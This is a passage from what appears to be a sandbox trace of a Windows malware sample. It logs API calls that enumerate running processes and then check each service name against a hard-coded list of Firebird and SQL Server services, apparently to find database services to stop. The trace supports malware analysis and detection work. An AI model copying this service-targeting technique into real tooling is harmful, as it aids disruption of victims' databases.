lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0038.440] lstrlenW (lpString="dwm.exe") returned 7 [0038.440] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0038.440] lstrlenW (lpString="explorer.exe") returned 12 [0038.440] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0038.440] lstrlenW (lpString="spoolsv.exe") returned 11 [0038.440] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.441] lstrlenW (lpString="taskhost.exe") returned 12 [0038.441] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.441] lstrlenW (lpString="svchost.exe") returned 11 [0038.441] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0038.441] lstrlenW (lpString="taskeng.exe") returned 11 [0038.441] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.441] lstrlenW (lpString="taskhost.exe") returned 12 [0038.442] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0038.442] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0038.442] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0038.442] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0038.442] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0038.442] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0038.443] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0038.443] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0038.443] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0038.443] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0038.443] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0038.443] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0038.444] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0038.444] lstrlenW (lpString="toyota.exe") returned 10 [0038.444] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0038.444] lstrlenW (lpString="radiation.exe") returned 13 [0038.444] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0038.444] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0038.444] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0038.445] lstrlenW (lpString="ur illustration.exe") returned 19 [0038.445] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0038.445] lstrlenW (lpString="facing.exe") returned 10 [0038.445] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0038.445] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0038.445] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0038.446] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0038.446] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0038.446] lstrlenW (lpString="headline.exe") returned 12 [0038.446] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0038.446] lstrlenW (lpString="army_unsigned.exe") returned 17 [0038.446] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0038.447] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0038.447] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0038.447] lstrlenW (lpString="distribution-gif.exe") returned 20 [0038.447] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0038.447] lstrlenW (lpString="tribunal.exe") returned 12 [0038.447] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0038.448] lstrlenW (lpString="aafeof.exe") returned 10 [0038.448] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0038.448] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0038.448] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0038.448] lstrlenW (lpString="encryption.exe") returned 14 [0038.448] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.449] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.449] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.449] lstrlenW (lpString="dllhost.exe") returned 11 [0038.449] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.449] lstrlenW (lpString="dllhost.exe") returned 11 [0038.449] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0038.450] lstrlenW (lpString="1с_.exe") returned 7 [0038.450] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0038.450] lstrlenW (lpString="cmd.exe") returned 7 [0038.450] Process32NextW (in: hSnapshot=0x118, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0038.450] CloseHandle (hObject=0x118) returned 1 [0038.450] Sleep (dwMilliseconds=0x1f4) [0040.358] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fa60 [0040.365] EnumServicesStatusExW (in: hSCManager=0x58fa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0040.365] GetLastError () returned 0xea [0040.365] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x11e4) returned 0x39616f8 [0040.365] EnumServicesStatusExW (in: hSCManager=0x58fa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39616f8, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39616f8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0040.366] CloseServiceHandle (hSCObject=0x58fa60) returned 1 [0040.366] lstrlenW (lpString="Appinfo") returned 7 [0040.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.367] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.367] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.367] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.367] lstrlenW (lpString="AudioSrv") returned 8 [0040.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0040.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0040.367] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0040.367] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0040.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0040.367] lstrlenW (lpString="BFE") returned 3 [0040.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.367] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.367] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.367] lstrlenW (lpString="CryptSvc") returned 8 [0040.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.367] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.367] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.367] lstrlenW (lpString="CscService") returned 10 [0040.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0040.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0040.368] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0040.368] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0040.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0040.368] lstrlenW (lpString="DcomLaunch") returned 10 [0040.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.368] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.368] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.368] lstrlenW (lpString="Dhcp") returned 4 [0040.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.368] lstrlenW (lpString="Dnscache") returned 8 [0040.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.368] lstrlenW (lpString="DPS") returned 3 [0040.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.368] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.368] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.369] lstrlenW (lpString="eventlog") returned 8 [0040.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0040.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0040.369] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0040.369] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0040.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0040.369] lstrlenW (lpString="EventSystem") returned 11 [0040.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.369] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.369] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.369] lstrlenW (lpString="gpsvc") returned 5 [0040.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.369] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.369] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.369] lstrlenW (lpString="iphlpsvc") returned 8 [0040.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.369] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.369] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.369] lstrlenW (lpString="LanmanServer") returned 12 [0040.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.370] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.370] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0040.370] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.370] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.370] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.370] lstrlenW (lpString="lmhosts") returned 7 [0040.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.370] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.370] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.370] lstrlenW (lpString="MMCSS") returned 5 [0040.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0040.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0040.370] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0040.370] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0040.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0040.370] lstrlenW (lpString="MpsSvc") returned 6 [0040.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.371] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.371] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.371] lstrlenW (lpString="Netman") returned 6 [0040.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0040.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0040.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0040.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0040.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0040.371] lstrlenW (lpString="netprofm") returned 8 [0040.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0040.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0040.371] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0040.371] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0040.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0040.371] lstrlenW (lpString="NlaSvc") returned 6 [0040.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0040.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0040.371] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0040.371] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0040.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0040.371] lstrlenW (lpString="nsi") returned 3 [0040.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0040.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0040.372] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0040.372] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0040.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0040.372] lstrlenW (lpString="PcaSvc") returned 6 [0040.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0040.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0040.372] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0040.372] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0040.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0040.372] lstrlenW (lpString="PlugPlay") returned 8 [0040.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0040.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0040.372] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0040.372] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0040.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0040.372] lstrlenW (lpString="Power") returned 5 [0040.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0040.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0040.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0040.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0040.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0040.372] lstrlenW (lpString="ProfSvc") returned 7 [0040.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0040.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0040.373] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0040.373] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0040.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0040.373] 